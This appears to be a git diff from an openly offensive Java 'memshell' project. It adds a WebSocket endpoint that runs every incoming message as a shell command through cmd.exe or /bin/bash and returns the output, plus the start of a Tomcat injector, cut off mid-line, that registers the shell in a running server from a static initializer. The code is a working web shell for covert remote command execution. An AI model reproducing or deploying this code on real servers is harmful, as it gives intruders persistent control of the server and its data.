diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java
new file mode 100644
index 0000000..e7c9349
--- /dev/null
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java
@@ -0,0 +1,49 @@
+package com.reajason.javaweb.memshell.tomcat.command;
+
+import javax.websocket.Endpoint;
+import javax.websocket.EndpointConfig;
+import javax.websocket.MessageHandler;
+import javax.websocket.Session;
+import java.io.InputStream;
+
+/**
+ * wsMemShell
+ *
+ * @author ReaJason
+ * @since 2024/12/9
+ */
+public class CommandWebSocket extends Endpoint implements MessageHandler.Whole {
+
+ public String paramName = "{{paramName}}";
+ private Session session;
+
+ @Override
+ public void onMessage(String s) {
+ try {
+ Process process;
+ boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
+ if (bool) {
+ process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
+ } else {
+ process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
+ }
+ InputStream inputStream = process.getInputStream();
+ StringBuilder stringBuilder = new StringBuilder();
+ int i;
+ while ((i = inputStream.read()) != -1) {
+ stringBuilder.append((char) i);
+ }
+ inputStream.close();
+ process.waitFor();
+ session.getBasicRemote().sendText(stringBuilder.toString());
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void onOpen(final Session session, EndpointConfig config) {
+ this.session = session;
+ session.addMessageHandler(this);
+ }
+}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatWebSocketInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatWebSocketInjector.java
new file mode 100644
index 0000000..cf44ed3
--- /dev/null
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatWebSocketInjector.java
@@ -0,0 +1,215 @@
+package com.reajason.javaweb.memshell.tomcat.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/9
+ */
+public class TomcatWebSocketInjector {
+
+ static {
+ new TomcatWebSocketInjector();
+ }
+
+ public TomcatWebSocketInjector() {
+ try {
+ List